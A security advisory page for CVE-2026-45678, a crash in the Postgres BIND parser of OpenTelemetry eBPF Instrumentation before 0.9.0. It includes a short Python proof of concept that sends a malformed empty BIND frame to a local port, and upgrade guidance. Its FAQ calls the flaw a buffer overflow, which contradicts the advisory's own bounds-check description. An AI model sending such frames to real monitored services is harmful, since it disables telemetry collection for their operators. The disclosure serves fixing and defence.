CVE-2026-45678: OpenTelemetry eBPF Instrumentation: Postgres BIND parsing can panic on malformed payloads

Published May 18, 2026
·
Updated

Summary

The Postgres protocol parser assumes BIND message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic.

Details

The vulnerable logic is in pkg/ebpf/common/sqldetectpostgres.go. In the BIND case, OBI converts the full payload to a string with unix.ByteSliceToString(msg.data), computes portalLen := len(portal) + 1, and then slices msg.data[portalLen:] to derive the statement name.

There is no check that msg.data actually contains a NUL terminator or even enough bytes for portalLen. With an empty payload or a truncated message, portalLen can exceed the slice length and trigger a runtime panic.

PoC

Local testing with a minimal reproducer showed the expected slice bounds out of range crash for an empty BIND payload.

Use a vulnerable build:

bash git checkout v0.0.0-rc.1+build make build

Start a local Postgres instance and OBI:

bash docker run --rm -e POSTGRESPASSWORD=postgres -p 5432:5432 postgres:17 sudo ./bin/obi

Send a malformed BIND frame with an empty payload:

python save as /tmp/pg-bind-poc.py import socket, struct

tag = b'B' length = struct.pack(">I", 4) payload = b""

s = socket.createconnection(("127.0.0.1", 5432)) s.sendall(tag + length + payload) s.close()

Run it:

bash python3 /tmp/pg-bind-poc.py

On a vulnerable build, the Postgres parser in OBI panics while processing the captured payload.

Impact

This is a remote availability issue in OBI's Postgres parser. Any attacker able to send malformed Postgres traffic to a monitored service can crash the agent and stop telemetry collection for that node or process.

Other sources

OpenTelemetry eBPF Instrumentation provides eBPF instrumentation based on the OpenTelemetry standard. Prior to version 0.9.0, the Postgres protocol parser assumes BIND message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic. This issue has been patched in version 0.9.0.

MITRE

Affected Software

2 affected componentsFixes available
go/go.opentelemetry.io/obi<0.9.0
0.9.0
OpenTelemetry Ebpf Instrumentation Go<0.9.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/go.opentelemetry.io/obi to a version that resolves this vulnerability.

    Fixed in 0.9.0
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 0.9.0Patch OpenTelemetry eBPF Instrumentation: Postgres BIND parsing can panic on malformed payloads

Event History

May 18, 2026
Advisory Published
via GitHub·05:56 PM
Data Sourced
via GitHub·05:56 PM
DescriptionSeverityWeaknessAffected Software
Jun 2, 2026
CVE Published
via MITRE·03:24 PM
Data Sourced
via MITRE·03:24 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:16 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-45678?

CVE-2026-45678 is considered to have a high severity due to its potential to cause application panic through buffer overflow.

2

How do I fix CVE-2026-45678?

To fix CVE-2026-45678, you should upgrade to the latest version of the OpenTelemetry OBI package, specifically version 0.9.0 or later.

3

Which versions of the OpenTelemetry package are affected by CVE-2026-45678?

CVE-2026-45678 affects versions of the OpenTelemetry OBI package prior to 0.9.0.

4

What type of vulnerability is CVE-2026-45678?

CVE-2026-45678 is a buffer overflow vulnerability resulting from improper parsing of Postgres protocol messages.

5

What software is impacted by CVE-2026-45678?

CVE-2026-45678 impacts the OpenTelemetry OBI library when parsing Postgres protocol messages.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203